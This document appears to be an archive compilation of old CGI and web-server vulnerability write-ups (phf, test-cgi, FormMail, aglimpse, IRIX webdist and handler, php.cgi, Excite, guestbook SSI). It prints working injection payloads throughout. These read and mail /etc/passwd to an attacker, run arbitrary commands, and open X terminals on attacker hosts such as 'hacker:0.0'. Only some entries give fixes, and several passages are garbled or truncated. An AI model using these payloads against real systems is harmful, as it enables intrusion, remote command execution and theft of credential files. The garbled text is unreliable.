A security hole exists in the nph-test-cgi script included in most UNIX based World Wide Web daemon distributions. The nph-* scripts exist to allow 'non-parsed headers' to be sent via the HTTP protocol (this is not the cause of this security problem, though). The problem is that nph-test-cgi, which prints out information on the current web environment (just like 'test-cgi' does) does not enclose its arguments to the 'echo' command inside of escapes are not possible but shell *expansion* is.... If your test-cgi file contains the following line (verbatim) then you are probably vulnerable. echo QUERY_STRING = $QUERY_STRING All of these lines should have the variables enclosed in loose quotes ("). Without these quotes certain special characters (specifically '*') get expanded where they shouldn't. Thus submitting a query of '*' will return the contents of the current directory (probably where all of the cgi files are... gee, there's jj and phf. Sending in a query of '/*' will list the root directory. And so on, and so on. This is the same as doing `echo *` when you've blown away 'ls' The easiest way to list out the directories is via the query string. However, it is possible to do the same thing through many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.) in the right situations. machine% echo "GET /cgi-bin/test-cgi?/*" | netcat 80 CGI/1.0 test script report: [...] QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var [....] $CONTENT_TYPE ~$(echo POST /cgi-bin/test-cgi HTTP/1.0; \ echo Content-type: \* ; echo Content-length: 0; \ echo; sleep 5) | telnet localhost 80 Connected to localhost. Escape character is '^]'. [...] REQUEST_METHOD = POST CONTENT_TYPE = (bunch of files listed here ) CONTENT_LENGTH = 0 [....] If you give test-cgi an argument which includes a *, you can get a directory listing from the SERVER_PROTOCOL field. SERVER_PROTOCOL is normally "HTTP/1.0". But Apache seems to accept anything there. The following worked on my machine: Pentium:~$ telnet localhost 80 Connected to localhost. GET /cgi-bin/test-cgi * HTTP/1.1 200 OK [....skip....] SERVER_PROTOCOL = printenv test-cgi [....] GET /cgi-bin/test-cgi /* will list the root directory.* With minor variants, both scripts are a problem in a couple of areas. Crank each of these plus a couple of newlines into your server and see what you get: GET /cgi-bin/test-cgi?* HTTP/1.0 GET /cgi-bin/test-cgi?x * GET /cgi-bin/nph-test-cgi?* HTTP/1.0 GET /cgi-bin/nph-test-cgi?x * You can also try this: GET /cgi-bin/test-cgi?x HTTP/1.0 * GET /cgi-bin/nph-test-cgi?x HTTP/1.0 * # this can't be used in requests via proxy also see HTTP_REQUEST_METHOD bug /cgi-bin/test-cgi?%0A/* /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd POST /cgi-bin/test-cgi HTTP/1.0 Content-type: \* Content-length: 0 * /cgi-bin/test-cgi HTTP/1.0 /* /cgi-bin/test-cgi HTTP/1.0 Putting /*/*/*/*/*/*/* (etc.) in 2 or 3 of above variables, requesting test-cgi about 20 times in a row and each time cancelling your request will drive the load on the server way up, making disk access slow. PATH_TRANSLATED can be abused by adding a / or a /~username to test-cgi. This will give you the real pathname of the htdocs-dir respectively the real pathname of an users $HOME/public_html. If it is neccessary to have the script accessible then a quick fix is to block The fix is to surround all of the variables in test-cgi ( and any other variations of test-cgi, such as nph-test-cgi, that may be present) in quotes or add "set -f" as the second line of the script, which closes the hole completely.

Name: FormMail perl script Risk: Remote users can execute commands on the server. Versions: FormMail, version 1.0 Distro:
<html><head><title>hack</title></head> <body><form method="post" action= ""> <input type="hidden" name="recipient" value= "; cat /etc/passwd | mail"> <input type="submit" name="submit" value="submit"> </form></body></html>

Name: Set of perl-CGI scripts Date: November, 1998 Risk: local or remote execution of arbitrary code Versions: affected cgi scripts, listed below Distro:
1) HAMcards Postcard script v1.0 Beta 2 at 2) Hot Postal Services v?? at the only metacharacter stripping this script does is rejecting any |'s 3) RC Bowen's Postcards v?? at 4) LakeWeb's File and Mail List (expanded File Mail) v?? 5) WebCards program (V1.6) by Sam Kareem ( Each of these are exploitable by inputing metacharacters into the recipient's email address. Each script calls something similar to: open( MAIL, "|$mailprog $email" ) # this particular line is from the LakeWeb scripts The exploit strings are simple, something like &mail < /etc/passwd& will work for each script (the is necessary because some hosts check for "@" and ".") when placed in the Recipient Email field. As a result, any command can be executed remotely without a local account with the uid of the webserver (usually "nobody" or similar, but you never know). Use open (MAIL , "|$sendmail -t") or use Net::SMTP to pass the data directly to port 25. or simply rm -rf ./cgi-bin. It might be an idea for CGI providing ISP's to insist on the use of perl's Mail::Sendmail module, which cuts out any potential pipe/ metachar related bugs by communicating directly w/ the SMTP server. $LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz See for a list of mirror sites.

Name: Lotus Domino Date: October 9th, 1998 Risk: Users can write to remote server drives and change server configuration files. Versions: affect Domino 4.6 and earlier (on all platforms) Distro:
Due to the design of Domino's database security,web users are able to write to remote server drives and change server configuration files. Three specific design flaws lead to sites being a victim. Default database ACLs are set to allow unrestricted access to all web users Databases do not correctly inherit their ACLs from their parent template. No tool is provided to check that proper security measures have been taken on server configuration databases. These three problems lead to databases being left unsecured to any web user. The first problem is that database default ACLs are set to give every user (including anonymous) 'designer' access (practically total control), as well as defaults the 'Max Internet Access' setting to 'editor'. There is also no automatic way to set the ACLs for a large number of databases at a single time. So every ACL for EVERY database needs to be MANUALY edited by an admin to make SURE the ACL is set properly. These two poor design issues practically guarantee that a number of databases on a server will be giving unwanted access to web users (or any users). This access includes web users being allowed to WRITE to server drives, read log ... The second problem is that databases do not correctly inherit the access control list from their parent template. Templates are used to update the design, forms, views etc. of similar databases, but do nothing to the ACL on update or initial creation. This causes serious problems for a server configuration file (a database),that is created and edited a minimal number of times. This is the case for domcfg.nsf. Domcfg.nsf is used for URL Redirection and the like; on most sites it is usually created and edited only once (and for this reason many admins overlook it). Since domcfg.nsf does not inherit the ACL from its parent template (domcfg.ntf), and because of the first problem mentioned above (namely, on initial database creation the ACL is set to give 'default' users designer access), any domcfg.nsf file's ACL that has not been MANUALLY edited to restrict users will give a web user UNRESTRICTED access. Many high profile Domino sites (you know who you are!) have been affected with these problems. Due to the nature and uses of domcfg.nsf, it is usually the guilty database An improperly configured ACL for domcfg.nsf can let any user with a standard web browser CHANGE THE URL ADDRESS of a site with simple redirection, edit/delete legitimate URL redirections, and generally wreak havoc. Now for the way domcfg.nsf is actually edited via the web: To open the Domino Configuration database add 'domcfg.nsf/?Open'to the end of url: Now, in a correctly secured domcfg.nsf you would be prompted for a password at this point (or, in some cases, the domcfg.nsf file has not even been created and won't be there). Anyway, many sites (due to the details listed above) do NOT have their domcfg.nsf ACL setup correctly and at this point a web user sees a screen showing different views they can pick from (URL Redirection, Directory Mappings, etc.). Now to ADD a URL Redirect simply change the URL to: At this point you get a URL Redirection form. Fill in the fields: IP Address: the IP address of the remote machine URL path: the path you want to redirect (lets say Redirection URL: the url you want it to redirect to (your own url http://my.own.url) Saving the document (pressing the submit button) will produce a new URL Redirection document. The next time the server is restarted the URL Redirection will take effect. With this example, every http request toward will be redirected toward http://my.own.url, having the affect of completely redirecting the site. Domino URL commands (which can be used to edit, delete, and manipulate files via the web) can be found in all documentation as well as at:
The vulnerability affects websites created by Lotus Business Partners who provide training services and accept credit card numbers via the web; however, in theory the vulnerabilities could extend to any e-Commerce site. Navigate through a Domino site, and once a database has been accessed, remove the information after the .nsf or after the first set of numbers following the server portion of the URL and replace it with "?Open". If you are then presented with a list of views, your site is potentially vulnerable to having anonymous users access the information contained within the views listed Lotus recommends blocking this access through a $$ViewTemplateDefault. If this technique is used, the second vulnerability comes into play, which is to access the view by using the following URL format:"*" This bypass the $$ViewTemplateDefault if the database is full-text indexed. databases: names.nsf; catalog.nsf; log.nsf; domlog.nsf; domcfg.nsf.
older versions of Lotus Domino Go, formerly known as IBM Internet Connection Server (ICS), contained a security hole in directory browsing. When directory browsing is set to "fancy", a potential hacker can browse backward through the directory tree all the way up to root ("/"). Thus, private system files and other documents are exposed to interception. This bug was present in versions 1.0 through 2.0 of ICS, and affected both the AIX and OS/2 Warp versions.

Name: Count.cgi remote overflow Risk: local or remote execution of arbitrary code Versions: Muhammad A. Muquit's wwwcount v 2.2, 2.3 Distro:
There are at least two buffer overflow vulnerabilities in wwwcount, a widely used CGI web counter. The most harmful occurs when the QUERY_STRING environment variable (which reflects the url asked by the www client) is copied to a fixed-size dynamic buffer. Another one occures only when the counter is compiled with a special authentication option, and may not be exploitable. The actual fix is pretty simple. Apply the following patch to the file main.c. Environment variables will be cutted down to their first 600 chars. The idea of this patch can also be adapted for other purposes, mainly to develop a generic cgi-bin wraper. void wrapit(char *envvar,int esize) { char *tmp,*tmp2; tmp=malloc(esize+1); if(tmp==NULL) { Debug2("Can't allocate wrapper memory buffer.",0,0); exit(1); } strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1); tmp[esize]='\0'; setenv(envvar,tmp,1); } /* * avoid any buffer overflow problem by cutting some env variables */ wrapit("QUERY_STRING",600); wrapit("HTTP_REFERER",600); wrapit("HTTP_USER_AGENT",600); here is a _sample_ exploit, designed to be used on localhost.Needs lots of work to be really usefull, remote stack prediction is still a big problem. wwwcount.c original (c) 05/1997 by plaguez count.c Gus/97 from rootshell intel linux count23.c linux exploit Count.cgi (html gen) count23a.c modified remote exploit Read any gif vulnerability only in 2.3 Allows remote users to read any GIF file on the server, regardless of HTTP permissions set. you can see (and download) any GIF image on the server. You can't use this to download other file types because the program checks the file format. The use for this is not yet very clear, but some companies might have sensitive information in GIF files (charts, drafts etc.). And of course, this is heaven for XXX site hunters who can bypass user level authentication and download the image if they know the path.

Name: guestbook.cgi for Web Servers Using SSI Risk: execute arbitrary commands as web server's UID (remote) Versions: A guestbook CGI script is freely available by Selena Sol guestbook script at Matt Wright's archive Distro:
Guestbook applications allow a person browsing a web site to "sign" an electronic guestbook and leave an appropriate message. All versions of this program have a vulnerability that under certain conditions allows a remote user to execute arbitrary commands on the server as the user id of the httpd daemon. These conditions are: * the server allow Server Side Includes (SSI) on the directory in which the guestbook is located, and, * the guestbook application allows the remote user to write HTML tags into the Comment field of the guestbook, and, * the guestbook application does not filter appropriate HTML tags. The script attempts to strip out SSI's with the following regex: $value =~ s/<!--(.|\n)*-->//g; <!--#exec cmd="/bin/cat /etc/passwd"-> <!--#include file="/etc/passwd"--> <!--#include file="/var/spool/mail/youruserid"--> <!--#exec cmd="/bin/cat /etc/passwd" Exec-SSIs are a security problem itself and one should know about the risks when enabling them (and enabling them for pages which are generated from user input, e.g. guestbook pages, is just a stupid idea). Scripts should not go about generating SSI based on user input. It's trivial to configure the server to avoid this - use a different file extension for ssi and non-ssi. Apache does diagnose the malformed tag: [Thu Jun 25 14:23:23 1998] [error] httpd: premature EOF in parsed file /blah/blah/tt.shtml But the diagnosis occurs after it has executed the command, and we're unlikely to change that. The parser just executes things as it encounters them. It does not attempt to find an entire tag first... that's needlessly complex. (Consider long tags spanning multiple input buffers.) (a) Disable SSI on the directory in which the guestbook application writes its data. See your WWW server documentation for details. (b) Filter HTML tags that can be used to process arbitrary local data

Name: /cgi-bin/aglimpse Risk: execute arbitrary commands as web server's UID (remote) Versions: GlimpseHTTP 2.0 and WebGlimpse versions prior to 1.5 Distro:
Another HTTP vulnerability, this time in a small utility: Glimpse HTTP which is an interface to the Glimpse search tool. It is written in PERL. The hole is small one but it can allow you to execute any command on the remote system (as the owner of the http server). $path_info = $ENV{'PATH_INFO'}; $_ = $path_info; # /<length>/$indexdir/$path is the format of the PATH_INFO # might as well start the message now print "Content-type: text/html\n\n"; print "<HTML>\n"; print "<HEAD>\n"; if ( m|^/([0-9]*)(.*)$| ) { $length = $1; $path = $2; $path =~ s|"||g; } else { &err_badargs; } $indexdir = substr($path,0,$length); $relpath = substr($path,$length,length($path)); # print "<br>indexdir=$indexdir<br>relpath=$relpath<br>"; open(CONF,"$indexdir/archive.cfg") || &err_conf; As you may see, it splits PATH_INFO in two fields: $length and $path and then takes the first $length characters from $path and puts them in $indexdir. The last line opens "$indexdir/archive.cfg". Now for the evil part. By setting $indexdir to a string that begins with '|', the system will execute whatever it finds after the pipe, giving it as STDIN what you write to the CONF handle. The bad thing is that most HTTP servers won't let you use TABS or SPACES in the PATH_INFO (not the case of Netscape servers anyway, but CERN and Apache will do it). And I don't know how many "one word" commands can anyone find (and make them do evil). Here's where the famous IFS variable comes handy. If $indexdir is set to something like: "|IFS=5;CMD=5mail5your_address\\</etc/passwd;eval$CMD;echo" it will execute the command in CMD using IFS as separator. The one above sends me your /etc/passwd. The last "echo" is used to ignore the rest of the string. An of course you can use any other separator instead of "5". telnet 80 GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5hack\\</etc/passwd;eval$CMD;echo HTTP/1.0 Note that the cgi-bin directory could be located somewhere else (for example in /scripts or /cgi or a special directory just for glimpse...). Also note that you HAVE to use all those backslahes in the command (perl wants them there!).

Name: /cgi-bin/finger Risk: an entire network can have a security breech...
Finger, the standard Unix command used to look up users on a system, has been deemed a security hole by some sites and in some cases shut off. Other variations of finger have been altered so that a user can control exactly what information about his/her login is shared on the local machine and over the wire. In other instances, tcpwrappers are used so that only trusted systems on a LAN can finger other machines. Having the CGI program "finger" installed can breech security in all these instances. Finger a site on the net, out of the blue. [user@mybox] finger ///////////////////////////////////////////////// * * WARNING: Your finger attempt from user@myhost * has been recorded in our logs. * Any more finger attempts from your host, and * we will consider those actions an attack on * our host. We will prosecute anyone we feel is * intruding onto our network. * ///////////////////////////////////////////////// [user@mybox] lynx [] Login Name Tty Idle Login Time Office Office Phone lip Larry I. Peters qf - Feb 19 15:01 jack Jack Daniels pd 23:40 Feb 18 14:44 jdobman J. Doberman p1 3 Feb 19 12:32 Room 101 jdobman J. Doberman q1 2:48 Feb 9 15:57 Room 101 red R. Earl Davies *q5 1:26 Feb 19 08:43 With that one CGI program, an entire network's security has been violated. Imagine that has a machine specifically for processing orders. Knowing a username on that machine makes it a lot easier for a potential hacker to get in. If software such as tcpwrappers are in use on the LAN, chances are it will be configured so that local users can see who is logged in where. [user@mybox] lynx [trustedhost] Login Name Tty Idle Login Time Office Office Phone lip Larry I. Peters q1 - Feb 19 15:01 jack Jack Daniels p0 1:40 Feb 18 14:44 Now, an entire network has had a security breech,not just one system. 1) get your list of e-mail addresses you found for the site (let's pretend one of them is " ", and that your email address is "") 2) Go back to the finger box, and type this in (changing these email addresses for the real ones): ; /bin/mail < etc/passwd

Name: bugs in Excite for Web Servers 1.1 Date: 30 Nov 1998 Versions: EWS 1.1 Distro: Risk: ordinary user being able to gain control over EWS
Marc Merlin found following. While trying a query like this one on a server "this and this and that" (with the quotes) he noticed an error. Classic mistake, it launches a shell with whatever was given in the query (even though spaces are escaped with a '$'). Yet, the exploit remains simple: ";IFS="$";/bin/cat /etc/passwd|mail your_email_here; (or any other shell command you can thing of) The installation program installs several files with world-write permissions. This is bad because one of them (Architext.conf) contains the encrypted password which is used for all authentication. Because of this, any user with shell or non-anonymous FTP access to the web server could modify the encrypted password. All authentication after the initial access to AT-admin.cgi relies solely on the encrypted password. Since any user with shell or FTP access can read Architext.conf, it is trivial for local users to gain administrative privileges over EWS. Thus, a user only needs to have a web page that looks like: <html> <head><title>exploit</title> <body> <p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST> <INPUT TYPE="hidden" NAME="db" VALUE="personal"> <INPUT TYPE="submit" NAME="Reload" VALUE="Reload"> Reload this page, in case the log file or status has changed. <INPUT TYPE="hidden" NAME="Dump" VALUE="dummy"> <INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog"> <INPUT TYPE="hidden" NAME="Type" VALUE="progress"> <INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS"> </FORM><BR> </body> </html> Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with values that make sense for your situation. By accessing this page and clicking on the button you get to a menu that behaves exactly as if you knew the unencrypted password. Problem: Passwords are not encrypted properly. Note that the first two characters of the encrypted password are always the first two characters of the plain-text password. For example, if you choose the password "blah", the encrypted password is "blk1x.w.ISlDw". In light of the fact that the plain-text password is not needed for adminstrative control (above), this problem is not that significant. Since this same password may be used other places it should be protected better. If a dictionary attack for the password is done, only those words that start with "bl" need be examined. If a brute force attack is used, the number of guesses goes down significantly Solution: Encrypt passwords using random salts. Even using "aa" as the salt in every case would be more secure.

Name: php (CGI) 3 bugs Date: 19 Oct 1997 Versions: php.cgi 2.0beta10 or earlier ( or up to 19 October 1997) Distro: Risk: execute arbitrary commands as web server's UID (remote)
First vulnerability allows unauthorized users to view arbitrary file contents on the machine running http by sending the file name wishing to be displayed as the QUERY_STRING. simply use any web browser to send the following URL: The workaround solution is to set the following in php.h #define PATTERN_RESTRICT ".*\\.phtml$" This will limit the php.cgi parser to only display files ending in .phtml Vulnerability in PHP Example Logging Scripts There was a gaping security hole in a few of the example scripts, specifically mlog.html and mylog.html, which allow any remote user to read any arbitrary file on the system.(which is readable to the user that httpd and thus PHP are running as) To top it all off, this exploit is really easy to accomplish. The problem lies in the line: <?include "$screen"> in both mlog.html and mylog.html. The idea is to include a file for each type of logging stats, however, there is no escaping of slashes, so one can specify any file on the system. http://host.comt/~user/cool-logs/mlog.html?screen=[full path to any file] Useful files to see are /etc/hosts.allow, /etc/passwd (for unshadowed systems..) and just about anything else (and if your httpd is still running as root you may be considered as lucky guy while you can't say the say for dummy admin of that machine). Fix: use the following block of code, right before <?include... line. Buffer Overflow in php.cgi In the function FixFilename() function in file.c, PHP attempts to pass strings whose length may be as long as 8 kilobytes into buffers as small as 128 bytes. This overwrites the stack, making it possible for an attacker to obtain shell access to the machine running the web server. The filename argument to FixFilename is derived from the command line used to invoke to the CGI script, or from the QUERY_STRING environment variable passed to it. The total length of either can be as long as eight kilobytes, but the fn string is a mere 128 bytes long. An excerpt from the flawed code reads: char *FixFilename(char *filename, int cd, int *ret) { ... char fn[128], user[128], *s; ... s = strrchr(filename,'/'); if(s) { strcpy(fn,s+1); ... Attackers can remotely obtain shell or command line access to any vulnerable system and vulnerable is any computer running a web server with php.cgi 2.0beta10 or earlier is vulnerable, irrespective of what operating system it is running, provided that PHP is run as a cgi, and not as an Apache module. When compiled as an Apache module, PHP does not appear to execute the problem code. To determine whether a system is running a web server with php.cgi installed as a cgi, use your favorite web browser to access the URL: http://hostname/cgi-bin/php.cgi If you see something like: PHP/FI Version 2.0b10 ... Then the machine hostname is running PHP/FI and feel free to panic. phpget.c scanner

Name: httpd (phf) The MOST famous bug Date: Old ( Jan 1996 ) Name: phf.pp phf phf.cgi Versions: NCSA or Apache (earlier than 1.1.1) non-commercial Web servers using util.c Risk: execute arbitrary commands as web server's UID (remote)
Util.c traps escape and control characters but does not trap \n which allows an intruder to execute a line return and then a UNIX command as the httpd owner. /cgi-bin/phf?Qname=root%0A/bin/cat%20/etc/passwd /cgi-bin/phf.pp?Qalias=x%0a/bin/cat%20/etc/passwd &Qalias=&Qname=foo A successful probe would have a "200 11111" in logs instead of a "404 -" as the result of the probe, where 200 is success and 11111 is the number of bytes returned to the prober, approximating the size of the /etc/passwd file. Since some systems have vulnerable bash, you can also try which would have the effect of dumping the /etc/passwd file to the screen. The true implications of this bug are that any remote user can execute ANY command on the system as the UID/GID of the httpd child process. As J-Man Th' Shaman pointed, people are getting through packet filtering schemes by initiating remote xterms, and even saw one case where a cracker emailed a uuencoded root shell exploit into the httpd child process owners mail spool, then uudecoded a binary that would exploit another bug to get root, set up a suid root copy of socdaemon (which ties a shell to a port), and execute it. Having phf active in vulnerable form is wellcome invitation to anyone willing to play with you. Patch util.c like so: if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){ with if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){ respectively. The script below simply looks like the original PHF program however it mails the security person whenever connections or probes are received. The idea of luring attacks and presenting false information in an interesting one as an attacker needs to find a vulnerability to exploit to get into the system. If vulnerabilities are presented that are not legitimate. it is more difficult for an attacker to decide what is legitimate and what is just bait. If people wish to attack a system they take the risk that they are either falling into a trap or actually getting into the system. Its interesting to blur the two. Along with scripts like below people can play games with modified sendmail version lines or even presenting false login screens with the tcp wrapper twist. source phfscan.c scanner

Name: info2www Date: 3 March 1998 Versions: info2www 1.1 (and some other versions) Risk: execute arbitrary commands as web server's UID (remote)
Niall Smart found following. Some versions of the info2www CGI blindly open files: $ REQUEST_METHOD=GET ./info2www '(../../../../bin/mail user_name </etc/passwd|)' $ You have new mail. $ Trying to track down which versions of info2www have this bug and which don't has been difficult, there are lots of variants out there, some of which aren't vulnerable. Instead of trying to make a list of versions which are vulnerable let's say following: - if it has no version number, its probably vulnerable - the uuencoded version at CPAN is corrupt, and the one which the README file tells you to get is vulnerable - version 1.1 is vulnerable - version 1.2.x seem ok (seems!) Apparently info2www is based on info2html and infogate, so these may have problems too.

Name: jj.c Date: 24 Dec 1996 Risk: escape to a shell
jj.c is a demo cgi program. It passes unfiltered user input to /bin/mail. You know what that means. Use ~ to escape to a shell, etc. The segment of the code looks like: if(allow) { char t[256]; sprintf(t,"/bin/mail %s",JJ_FAX); if(!(order=popen(t,"w"))) print_error("the server was unable to open a pipe to mail"); For allow to be true a password must be supplied. I have seen both "HTTPdrocks" , "SDGROCKS" , "ITSWRONG" , "HTTPdRocKs" used as default in the source code. To make matters more interesting it defined the following variable: char w[256]; It then uses getword to fill it with user supplied data: getword(w,cl,'='); Get word is defined as: void getword(char *word, char *line, char stop) { int x = 0,y; for(x=0;((line[x]) && (line[x] != stop));x++) word[x] = line[x]; word[x] = '\0'; if(line[x]) ++x; y=0; while(line[y++] = line[x++]); } As you can see it does no bounds checking. Lucky for them that main calls exit before returning or you would have a nice buffer overflow. This code should be studied as an example of how NOT to write secure programs. Credit for this discovery (and text) goes to Aleph One. SOLUTION Tilde escaping from /bin/mail shouldn't work on most modern systems simply because the /bin/mail's I have looked at dont accept tilde escapes unless the the input is coming from a terminal, or /bin/mail is invoked with -I. SunOS 4.1.3, /bin/mail _never_ accepts tilde escapes; /usr/ucb/mail is the Berkeley mail program And it accepts tilde escapes even if none of the standard descriptors is a terminal: % cat | /usr/ucb/mail mouse |& cat ~p ------- Message contains: To: mouse (continue) It will even do this when there is no /dev/tty; I tried setting up .rhosts trust and doing "rsh <machine> /usr/ucb/mail mouse"; then, typing ~p into the rsh produced similar output. Of course, you can always just define "modern" as "has a Berkeley mail recent enough that it doesn't accept tildes by default unless stdin is a terminal", in which case your claim becomes...true but uninteresting. jj.c source for studing

Name: www-sql and .htaccess 2 bugs Date: 09-Feb-98 Risk: read files, protected with .htaccess Distro: www-sql is available into Incoming sunsite directory.
One of the good things for intruders is that if an admin is using per-directory restrictions you can often retrieve these files just like a regular URL. For example, if the target is restricting access to the /usr/local/etc/httpd/docs/secure directory using a .htaccess file to control access, this URL might retrieve it (depending on server software): (NCSA,Apache) (CERN) Besides containing important info, it will give you the location of the web passwd file. Also sometimes .htaccess can include crypted passwords in format login:*#^$#^@$^@#$@#$ Leroy Christophe found following. www-sql is a cgi program to access a mysql database via a http server and create easyly some pages from a query result. That program acts as a filter, using PATH_TRANSLATED feature to access html files on your server tree, and it translates <! sql ...> tags into html viewable text, letting other parts of the html file unchanged. The problem is that www-sql performs nothing to verify if a user can access the intended PATH_TRANSLATED file. So, suppose following: - your htdocs tree is /home/htdocs/ - you have a subdirectory /home/htdocs/protected/ in which - you have restricted access using .htaccess file. In your browser, enter URL: http://your.server/protected/something.html you get prompted a username and a password. Now, enter URL: http://your.server/cgi-bin/www-sql/protected/something.html and you get the requested file without any restrictions. According to Mark Jeftovic this is a common characteristic of other "cgi-wrapper" programs as well, including w3-msql and php.cgi. The latter addresses this by giving one the option to set PATTERN_RESTRICT at compile time (that way it will only load files ending in say ".phtml"), or by compiling as an apache module. According to Sebastian Andersson he stopped this bug with PHP/FI as a cgi program with Apache and Apache's Action directive adding this to php/fi 2.0b12's main.c file (around line 45): #if PHPFASTCGI while(FCGI_Accept() >= 0) { #endif + s = getenv("REDIRECT_STATUS"); + if(!s) { + puts("Content-type: text/plain\r\n\r\nPHP/FI detected an internal\ error. Please inform of what you just did.\n"); + exit(1); + } s = getenv("PATH_TRANSLATED"); This prevents the script from being called directly via an URL since that wouldn't set the REDIRECT_STATUS variable.

Name: Date: May 1998 issue Risk: can run any system commands with the user id of the web server and obtain the output from them in a web page. Distro:
Robert Moniot found followung. The May 1998 issue of SysAdmin Magazine contains an article, "Web-Enabled Man Pages", which includes source code for very nice cgi script named to feed man pages to a web browser. The hypertext links to other man pages are an especially attractive feature.

Name: IRIX CGI Date: 7 May 1997 Versions: IRIX 5.3-6.4 Mindshare Out Box versions 1.0-1.2 Risk: remotely execute arbitrary commands as httpd process owner;cat%20/etc/passwd http://host/cgi-bin/webdist.cgi?distloc=;/usr/bin/X11/xterm %20-display%20hacker:0.0%20-ut%20-e%20/bin/sh wrap.cgi, handler.cgi, day5datacopier.cgi, day5notifier.cgi webdist.cgi has brothers. cgi-bin/wrap, as J.A. Gutierrez kindly pointed out, can be used to list any directory on the system. The script itself is capable of doing even more damage, but it's saved by the fact that it uses ARGV[0], and httpd escapes all metacharacters in ARGV. Script attempts to do some security checks, but the only one that actually prevents it from being exploited is the test for file existence. See notes on tardist below. wrap is designed to work in tandem with /cgi-bin/handler, which could be used to download any file under htdocs. That probably doesn't sound too bad, but it is. When users are added using Irix GUI, a symlink from /var/www/htdocs to ~luser/public_html is created. Now, many users like playing with CGI scripts, which are enabled for everybody in default Irix httpd config. Exploiting unknown CGI script is a tedious task and requires some vivid imagination. handler can simplify that. You just download the .cgi file and look at it. Or may be web man has protected some directory by index.html and/or .htaccess. wrap+handler will happily ignore all of them and allow you to grab what you want (.htpasswd, for instance). See example below. Note, that it's actually a FEATURE, not a bug, just use the script the way it was designed to work. Apart from nice scripts in /cgi-bin, there's a load of goods in /WhatsNew. It's just an amazing pile of crap. Thanks Lord it's protected by .htaccess which only allows access from localhost, otherwise it's just a remote root hole right there. It has 32 CGI scripts, and as if it wasn't enough, there're two root-suid binaries that do most of the work, plus a root crontab entry Mike Neuman's right, there's no need to be smart here. Both day5datacopier and day5notifier (search on IRIX section under Securiry Bugware for description) are written in a genuine SGI root-suid style, i.e. both execute external programs while euid=0 using system() _without_ using absolute path. day5datacopier calls cp first, day5notifier calls ps. Put necessary programs with right names first in PATH and enjoy. Default Irix config has Netscape, which comes with _rich_ mailcap file. Several entries deserve honorable mentions there, but perhaps application/x-tardist one is the best. When poor surfer clicks on the link that feeds that MIME type to Netscape, per mailcap it invokes /usr/sbin/tardist on it. tardist file is just a tar file that contains a distribution in Irix "dist" format. So tardist creates a subdirectory in /tmp, untars tmp file supplied by netscape, and runs swmgr. Now I'm an evil guy. I have that link on my page, disguised by javascript, that is actually a CGI script that checks Agent header for SGI-"enhanced" netscape. If it's there, it fingers host where request is coming from, look at idle time and ttys to find out which luser runs netscape and what is is home directory, and send reply on application/x-tardist type that consists of a tar file that contains ../../usr/people/luser/.rhosts. Luser, after clicking on that link, suddenly sees a window prompting for a root password (it's swmgr running). Luser quickly clicks Cancel, but it's too late. tar file was already unpacked, and luser has no idea what's happened. Of course, there're many ways to use this, for instance, create directory /var/www/htdocs/blah;/tmp/myscript and /tmp/myscript, and then check out (yes, /var/www/htdocs is world-writable): http://victim/cgi-bin/wrap/blah;/tmp/myscript http://sgi.victim/cgi-bin/wrap?/../../../../../etc /usr/local/lib/netscape/mailcap on Irix is loaded with crap. Luckily most of the entries use programs that don't exist on the box I use, but what I can see there gives me shivers. Details:

Name: /var/www/cgi-bin/pfdispaly.cgi Date: 17 March 1998 Versions: IRIX 6.2 with performer_tools.sw.webtools (Performer API Search Tool 2.2) installed Risk: Anyone can read files (as 'nobody') from your system
In fact, pfdispaly.cgi opens "$ARGV[0]" as "$maindocroot" prepended ( but somewhere 'dangerous' characters are escaped) lynx -source '' 7 Apr 1998 There is already a patch from SGI to the pfdispaly.cgi '../..' bug But it seems it fixes only that problem, without checking the rest of the code for similar vulnerabilities, so even after patch 3018 (04/01/98) you can try: $lynx -dump http://victim/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|' uname -a\| file IRIX victim 6.2 03131015 IP22 or $ lynx -dump \ http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|' (You probably will notice this exploit is similar to that one on 'wrap'; it's nice to find that sometimes reusing code does work)

Name: IRIX /cgi-bin/handler exploit Date: 19 Jun 1997 Versions: IRIX 5.3, 6.2, 6.3, 6.4 Risk: remotely run commands through this pathetic CGI
"Handler" reads PATH_INFO from the environment and then concatenates it with a default "root directory" (let's say /var/www/htdocs). It then runs a "validity check" on the result. But it only checks for ".." not for other potential offensive special chars. It then uses "open (INPUT, $doc)" where $doc is the result of the concatenation. If you're familiar with PERL you know that if a '|' character follows the filename, perl will treat that filename as a command. It runs it and gives you STDOUT. The way to exploit this "feature" for cgi-bin/handler is: telnet 80 GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download HTTP/1.0 Note that you have to use a TAB character after cat, not a space because the shell will accept it as a separator and it won't confuse the HTTP server. You can't use the %xx format (%20) because the script doesn't do any parsing (So you will not be able to give command that contain spaces). Of course, you can use any other command instead of "cat" but remember NOT to use spaces, just tabs. The server will display an error saying that it couldn't open "useless_shit" but it will continue anyway and execute your command. And also, I think this kind of approach makes cgi-bin's written in perl more vulnerable. That is any script that does not strip special characters (not only dots, but also | and ;) and uses "open" commands on files read from user input can be attacked. Most of the cgi-bin's I've seen do only a rudimentary check for "double- dots" and then declare the URL "sane".
